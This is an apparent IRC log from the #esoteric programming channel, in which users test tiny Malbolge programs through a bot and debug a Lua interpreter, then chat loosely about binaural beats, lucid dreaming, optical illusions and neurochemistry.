:EgoBot!dlopen@libdl.so PRIVMSG #esoteric :No output. < 1395193493 813751 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (= < 1395193494 299595 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :No output. < 1395193495 790269 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge ( < 1395193496 346235 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :No output. < 1395193504 9914 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<` < 1395193504 455973 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :9 < 1395193510 12662 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok that's pretty short < 1395193518 914383 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: perhaps try that shorter program? < 1395193549 147909 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric ::D crash < 1395193556 537145 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fancy < 1395193592 747800 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :aand one of the memory addreses is somehow a string.. < 1395193600 561700 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't think a malbolge program should technically be able to crash, iirc < 1395193668 340669 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395193734 65612 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i recommend debugging stuff. < 1395193757 823667 :tromp___!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 252 seconds < 1395193780 917009 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Just call this a variant of malbolge and challenge people to write helloworld in it < 1395193827 369058 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good policy < 1395193889 827086 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :okay, i just set a __newindex erroring when it tries to set anything to a string, and it diddnt error < 1395193896 703384 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :the amount of impossible < 1395193950 812489 :erdic!erdic@unaffiliated/motley QUIT :Ping timeout: 265 seconds < 1395193975 390548 :erdic!erdic@unaffiliated/motley JOIN :#esoteric < 1395195003 104989 :Bike!~Glossina@67-5-246-69.ptld.qwest.net QUIT :Ping timeout: 255 seconds < 1395195256 799894 :Bike!~Glossina@71-222-46-149.ptld.qwest.net JOIN :#esoteric < 1395196000 990390 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :woooot < 1395196002 58524 :drlemon_!~drlemon@cpe-108-185-0-32.socal.res.rr.com JOIN :#esoteric < 1395196004 365940 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :okay it works < 1395196009 43502 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :thanks oerjan < 1395196017 260416 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :congrats < 1395196075 609087 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ill start optimizing and post the cods < 1395196265 684758 :Bike!~Glossina@71-222-46-149.ptld.qwest.net QUIT :Ping timeout: 252 seconds < 1395196363 352524 :Bike!~Glossina@71-222-113-78.ptld.qwest.net JOIN :#esoteric < 1395198148 704083 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395198153 894805 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :WOAH. < 1395198160 922047 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :There's an esoteric channel? < 1395198167 696616 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric ::) < 1395198173 456025 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome BeingUntoDeath < 1395198174 70450 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :BeingUntoDeath: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395198199 627127 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :aha! < 1395198350 976145 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :wait... so what the hell is an esoteric programming language? < 1395198356 248765 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i'm new to programming. < 1395198359 212664 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :learning ruby. < 1395198391 726473 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :weird for the sake of weird < 1395198416 621544 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :hmmmmm. i'm a student of esoterica and the occult. how are they related? < 1395198513 581976 :Bike!~Glossina@71-222-113-78.ptld.qwest.net PRIVMSG #esoteric :not, except that i used to tell people their futures for money, and now i'm here < 1395198544 123792 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :what? lol. < 1395198544 178974 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i've invented a form of divination which involves clicking the random link on jerkcity < 1395198603 841998 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric : i want my first app to be for occultists < 1395198620 336012 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395198631 173464 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :but ive wanted to do it in ruby. < 1395198632 934116 :Bike!~Glossina@71-222-113-78.ptld.qwest.net PRIVMSG #esoteric :i think zzo does astrology programming but he's not here right now. < 1395198641 37887 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :fascinating. < 1395198675 531771 :Bike!~Glossina@71-222-113-78.ptld.qwest.net PRIVMSG #esoteric :anyway if kmc wasn't clear enough, esoteric programming languages are weird for the sake of things. for example, /// has a weird name, and also has only one operation, string replacement. the wiki has lots of examples. < 1395198694 610322 :Bike!~Glossina@71-222-113-78.ptld.qwest.net PRIVMSG #esoteric :usually the weirdness is something CS-theoretical rather than being devoted to Imhotep < 1395198729 418554 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: that is incorrect, it has _two_ operations. < 1395198737 24304 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(the other is printing) < 1395198740 628978 :Bike!~Glossina@71-222-113-78.ptld.qwest.net PRIVMSG #esoteric :the other is your mother < 1395198806 689058 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think you are confusing me with agathe heterodyne hth < 1395198808 850739 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*agatha < 1395198993 39258 :MoALTz_!~no@user-109-243-244-185.play-internet.pl JOIN :#esoteric < 1395199028 826229 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ugh I want cough drops but as candy but that's probably bad < 1395199097 955599 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :lol! < 1395199098 386067 :Bike_!~Glossina@75-175-65-137.ptld.qwest.net JOIN :#esoteric < 1395199116 340712 :Bike!~Glossina@71-222-113-78.ptld.qwest.net QUIT :Disconnected by services < 1395199121 303327 :Bike_!~Glossina@75-175-65-137.ptld.qwest.net NICK :Bike < 1395199140 157127 :Bike!~Glossina@75-175-65-137.ptld.qwest.net PRIVMSG #esoteric :my precognitive abilities are as of yet too weak to stave off connection failures < 1395199183 441860 :MoALTz!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 264 seconds < 1395199326 329585 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT : < 1395199347 318185 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395200155 314226 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :o/ i finished it somewhat http://hastebin.com/dekarabime.lua < 1395200306 904232 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://github.com/mitsuhiko/jinja2/blob/27ffd01f95cad7740497a32b22e4ef9d29762162/jinja2/debug.py#L267 < 1395200310 607099 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :def _init_ugly_crap(): < 1395200333 573116 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's not a real party until you're calling the CPython API through ctypes < 1395200355 65486 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :me no likey python < 1395200405 24475 :Bike!~Glossina@75-175-65-137.ptld.qwest.net PRIVMSG #esoteric :scary code there < 1395200445 631471 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :malbolge is scarier < 1395200623 122929 :Bike_!~Glossina@75-175-78-138.ptld.qwest.net JOIN :#esoteric < 1395200665 302340 :Bike!~Glossina@75-175-65-137.ptld.qwest.net QUIT :Ping timeout: 240 seconds < 1395200695 992820 :Bike_!~Glossina@75-175-78-138.ptld.qwest.net NICK :Bike < 1395200709 388103 :Bike!~Glossina@75-175-78-138.ptld.qwest.net PRIVMSG #esoteric :by the by, if i make an amusing esothing that isn't really a language, where should i dump that < 1395200943 28281 :Bike_!~Glossina@75-175-98-142.ptld.qwest.net JOIN :#esoteric < 1395200958 418981 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i was wondering the same thing back when i looked at roman numeral look-and-say < 1395200978 340327 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :never wrote it up properly, anyway < 1395201055 504020 :Bike!~Glossina@75-175-78-138.ptld.qwest.net QUIT :Disconnected by services < 1395201057 85092 :Bike_!~Glossina@75-175-98-142.ptld.qwest.net NICK :Bike < 1395201354 368215 :Bike_!~Glossina@75-175-102-28.ptld.qwest.net JOIN :#esoteric < 1395201372 152183 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395201400 811471 :Bike!~Glossina@75-175-98-142.ptld.qwest.net QUIT :Disconnected by services < 1395201402 737171 :Bike_!~Glossina@75-175-102-28.ptld.qwest.net NICK :Bike < 1395201555 748306 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1395201593 988392 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395201628 19142 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395201631 403945 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1395201637 455080 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Blah Microsoft not documenting internally used files < 1395201660 538810 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Which have a strong probability of harming other organizations if incorrect < 1395201692 145101 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Sgeo: That is... super vague < 1395201695 851782 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :but intriguing < 1395201715 247354 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :yeah, actually writing it up and constructing it is the main obstacle. especially since i have actual obligations for some reason < 1395201717 642003 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :IE compatibility list < 1395201746 424105 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :also it /might/ be one of those things where in a paper you'd relegate it to an appendix and it'd be ten pages of numbers, i don't know yet < 1395201842 557023 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395201874 512625 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.sleepphones.com/mp3/free-mp3-downloads I assume the binaural stuff is BS? < 1395201895 5548 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1395201913 495207 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Still nice music < 1395202017 892170 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1395202018 224299 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395202123 545981 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :My dad used to believe in that stuff < 1395202150 45795 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And then I talked to teachers at school about it, and then my dad said I shouldn't do that. (The teachers had no reaction that I remember to the idea) < 1395202709 24796 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :maldoge http://puu.sh/7AWIf.png < 1395202758 853049 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :binaural beats are pretty crap yeah. < 1395202772 260670 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :more interesting than most of that ilk of stuff, though. < 1395202775 482155 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :^v: haha < 1395202812 930716 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :that has to be the worst looking image ive made in months < 1395202821 126438 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but its funeh < 1395202850 401481 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :"brainwave entrainment" changed my life. < 1395202872 413647 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :or at least, it seemed to be a major changing factor in some of my behaviors/how i cognized my abilities. < 1395202882 359455 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :unles it was placebo, of course. < 1395202907 553815 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :either way, i'm a huge fan of binaural beats, isochronic tones, brainwave entrainment in general. < 1395202932 531889 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :My dad never thought of it as entertainment, more of a sleep/concentration aid < 1395202943 370753 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i have a light/sound machine that flashes lights and that took it to another level, at a time when I'd already have claimed binaural beats to have changed my life. < 1395202953 381315 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :entrainment < 1395202959 356076 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh < 1395202968 383264 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :patterns are "entrainment", i think. < 1395202974 910613 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :Interesting science fact: One of the founders of endocrinology (the studies of hormones, etc.) was popular known for objecting fluid from dog testicles into his bloodstream so as to regain sexual virility (he was like eighty at the time) < 1395202981 181097 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :injecting, not objecting < 1395202997 213669 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :There's a pair of eye masks that flash lights into your eyes to try to help lucid dreaming < 1395203002 696643 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :sounds epilepsy inducing < 1395203008 736115 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I assume that that actually works, if you can train yourself to recognize the flashing lights < 1395203009 337908 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i think Being is talking about a dreamachine. < 1395203010 914961 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :entrained* sorry. < 1395203017 80625 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :and yes sgeo, that is something else. < 1395203023 183918 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :that for a lucid dreaming cue. < 1395203035 488293 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I love lucid dreaming, haven't had a lucid dream for a while though :( < 1395203038 159386 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :dreammachines are different as well. < 1395203052 987994 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :you odn't need equipment for it, man, just count your fingers and check clocks and such < 1395203068 600834 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :right! wish it was that easy for me. < 1395203071 758829 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://www.ploscompbiol.org/article/info%3Adoi%2F10.1371%2Fjournal.pcbi.1002158 < 1395203079 293786 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :that was at sgeo, i'm sure you have other stuff goin on < 1395203082 721247 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://treehovse.blogspot.com/2011/09/visor.html < 1395203087 857924 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i've had one 90% successful lucid dream, lost it completely. < 1395203088 341193 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :There's a test that I tried in a dream once that failed < 1395203096 737484 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think trying to breath with my throat closed. < 1395203108 415753 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :wow. < 1395203110 556665 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Other tests worked better, but I think I was less likely to try those other tests regularly < 1395203125 229175 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :just do them in real life a lot. < 1395203126 147271 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :not one of the ones i normally think about using. < 1395203139 837137 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :if i ever actually "thought" about using them during dreams at all. < 1395203182 983983 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://wealoneonearth.blogspot.com/search/label/goggles < 1395203193 981436 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :"One hypothesis is that the flickering interacts with natural ongoing oscillations in visual cortex, exciting a specific frequency of brain waves. This increases the activity in visual cortex. Activity can increase enough to overload the circuitry the brain uses for interpreting what it sees, causing you to see things that aren’t really there." man i have no idea how these people think brains work but damn if it doesn't sound exciting < 1395203226 457717 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :oh shit this paper has bifurcation theory :o < 1395203227 709965 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :that's right. at least that's similar to how i conceptualize it, and i tihnk i'm right. < 1395203230 537234 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :drugs are also pretty cool & fun < 1395203255 95094 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i could take about 1-3 seconds of my light/sound machine on dmt. < 1395203263 116124 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i only go for natural highs kmc, which is why i'm injecting myself with silicon < 1395203265 931841 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :before it was jesus and super spirally spirals... too much. < 1395203267 820125 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :very intense. < 1395203277 891764 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :LOL, bike. < 1395203298 435456 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :also silicone, but that's not for the high < 1395203301 638158 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395203328 911829 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i'm thrilled you brought up brainwave entrainment, sgeo. one of my favorite things in terms of... psychological healing and psychedelic experience. < 1395203342 423217 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :shee-it, one of the links on this page has a half page url < 1395203350 927512 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i think i'm going to save it for later. it must be preserved < 1395203367 501572 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i did research on brainwave entrainment in undergrad. < 1395203377 111541 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :Bike: is it about this topic? < 1395203388 924499 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :nah, some homework < 1395203394 815834 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :There's a YouTube video that if you stare at it, it causes vision to distort for a bit < 1395203398 279293 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :where'd you get that paragraph from ? < 1395203399 220681 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :kmc's link there just has a doi, sensibly enough < 1395203409 203848 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :the thing i quoted? the treehovse link < 1395203442 225033 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: doi, not to be confused with the psychedelic amphetamine of the same name < 1395203449 157614 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :the link with the long url is just to a Cell paper through like nine proxies because lolpaywalls < 1395203455 105395 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :OH wow, amazing. < 1395203456 698354 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's a ``hell of a drug'' as they say < 1395203478 406685 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :kmc: endocrinology is fun. i found out dopamine and ecstasy are both phenylethamines. Whoa, Man. < 1395203483 724978 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yep < 1395203490 393449 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395203502 839869 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i really want to understand the chemistry better because it seems so arbitrary < 1395203509 306823 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :throw on a hydroxy WHOOPS YOU'RE HIGH < 1395203509 967882 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :your paragraph sounded like a light/sound machine... that thing must be awesome. < 1395203521 591452 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yep < 1395203545 586981 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :Relatedly I found out hormones are ridiculously hard to make < 1395203562 937923 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :like, i've heard of some bad syntheses before, but we're talking literally twenty steps, some of which take days, just to get a precursor < 1395203571 262484 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :terence mckennas spoken on that precisely. i've had a psychopharmacology class, but we didn't go into that. guess it's neurochemistry. < 1395203572 476582 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :LSD is pretty hard to make too < 1395203581 13441 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :too bad < 1395203587 622568 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :what about dhea? < 1395203593 268140 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :growing psychedelic mushrooms is relatively easy, though < 1395203601 676023 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/ < 1395203603 105177 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :doesn't help that i don't even understand the notation. superscripts on a delta? whoooo knowsssss < 1395203603 214771 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oops < 1395203608 152829 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.youtube.com/watch?v=AbHEC8Snwhk < 1395203634 747086 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :^^ at least that works on me. Although I think it's too long, could be shorter for probabl similar effect < 1395203640 681896 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's good stuff < 1395203666 75990 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hey if you want a really weird optical illusion try http://en.wikipedia.org/wiki/McCollough_effect < 1395203673 58261 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :if that's even the right term for this < 1395203680 218288 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :maybe when i'm old and insane i could have a garden of this shit. like some plants for curare, some pufferfish for TTX < 1395203684 625169 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :since it can last 3 months < 1395203692 543656 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :kmc: yeah no thanks < 1395203699 101058 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I do not want distorted vision for that long < 1395203703 429253 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1395203709 711693 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :What's distortion < 1395203720 188015 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :maybe the distortion... is within you all along. < 1395203743 218248 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric ::P < 1395203753 212353 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :all i get is a headache < 1395203772 713353 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :apparently the visual system in locusts (and several other model insects) behaves differently under different octopamine levels, and the levels fluctuate throughout the day anyway, apparently indicating the cells' properties change all the time (presumably adapting to different light levels etc.) < 1395203777 633903 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :p. cool, i m o < 1395203806 158045 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i wanna be a cuttlefish < 1395203808 505301 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :or a cuddlefish < 1395203828 920717 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :their neurochemistry is probably less known. bastards are all... complicated. < 1395203852 919755 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Squid Giant Axon would be a good name for a band < 1395203856 263778 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i got literal maps of ganglia, man. ridges and shit. the good shit. < 1395203895 456023 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I stupidly actually tried it < 1395203899 463344 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Not for long < 1395203905 199929 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ugh can I wash out my eyes? < 1395203913 243980 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :mccullough? < 1395203924 599298 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes sgeo didn't anyone teach you how to use the eye wash station < 1395203950 732548 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :yes folks, all your favorite bands in this lineup! after the intro set by Mauthner C-Start it's time to jam with Squid Giant Axon! then maybe a slow jam with Oculocephalic Reflex < 1395203969 336749 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :employees must wash hands before returning to libc < 1395203969 391485 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :mauthner and the c-starts, 